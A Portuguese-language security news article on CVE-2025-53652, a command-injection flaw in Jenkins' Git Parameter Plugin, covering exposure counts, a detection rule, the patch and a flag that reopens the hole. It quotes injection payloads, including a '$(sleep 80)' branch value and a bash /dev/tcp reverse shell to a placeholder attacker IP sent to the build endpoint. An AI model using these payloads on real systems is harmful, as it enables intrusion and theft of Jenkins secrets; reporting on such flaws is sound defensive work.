O Jenkins, amplamente usado para automação de pipelines e integração contínua, anunciou um lote de correções para 31 vulnerabilidades em plugins. Entre elas, a CVE-2025-53652 também chamada SECURITY-3419 inicialmente rotulada como de severidade média, mas que, na prática, pode abrir caminho para execução remota de código (RCE) sem autenticação, dependendo da configuração.
A falha está no Git Parameter Plugin, popular para gerenciar builds parametrizados. Ele permite que valores fornecidos pelo usuário sejam inseridos diretamente em comandos Git como rev-parse e fetch. O problema é que o plugin não valida esses valores, possibilitando a inclusão de caracteres e comandos do shell.
Um exemplo simples: em vez de passar “master” como nome de branch, um invasor envia $(sleep 80). Isso faz o Jenkins executar um comando sleep dentro do processo Git, algo facilmente detectável por ferramentas como ps faux.
Pesquisadores foram além e mostraram como essa brecha pode abrir uma reverse shell. Com uma requisição POST para /job/[buildName]/build contendo um payload como:
$(bash -c 'bash &> /dev/tcp/[IP_DO_ATACANTE]/[PORTA] <&1')o atacante obtém acesso remoto como o usuário jenkins, com direito a ler arquivos sensíveis como ~/secrets/master.key.
Para explorar, é necessário conhecer o nome do build, ter um cookie de sessão válido e o token CSRF (Jenkins-Crumb). Em instâncias abertas ou com registro liberado, esses elementos podem ser obtidos com requisições simples, inclusive usando curl.
O cenário de risco:
- Scans FOFA mostram cerca de 100 mil instâncias Jenkins expostas à internet que exigem autenticação.
- Cerca de 1 mil permitem registro aberto.
- Aproximadamente 15 mil estão completamente sem autenticação, o que amplia a ameaça de exploração em larga escala.
Mesmo nos casos sem autenticação, ainda é preciso obter artefatos de sessão, mas essa barreira é pequena para atacantes determinados.
A detecção pode ser feita via monitoramento de rede. A VulnCheck, por exemplo, publicou uma regra Suricata que alerta para requisições POST suspeitas no endpoint /job/.../build com metacaracteres do shell nos parâmetros. No disco, evidências ficam registradas nos logs do job, onde comandos injetados aparecem nos resultados do git rev-parse.
O Jenkins já atualizou o plugin para corrigir o problema, mas com um detalhe preocupante: a correção inclui uma flag que, se ativada (-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true), desativa a validação e reabre a vulnerabilidade. Ou seja, é preciso garantir que a configuração esteja correta após o update.
O que parecia uma falha de baixo impacto virou um vetor sério para ataques direcionados e movimentação lateral. A recomendação é clara: aplicar o patch imediatamente, garantir autenticação ativa e monitorar os logs para sinais de comprometimento.
No mundo DevOps, onde pipelines rodam com altos privilégios, um único parâmetro malicioso pode custar muito caro.
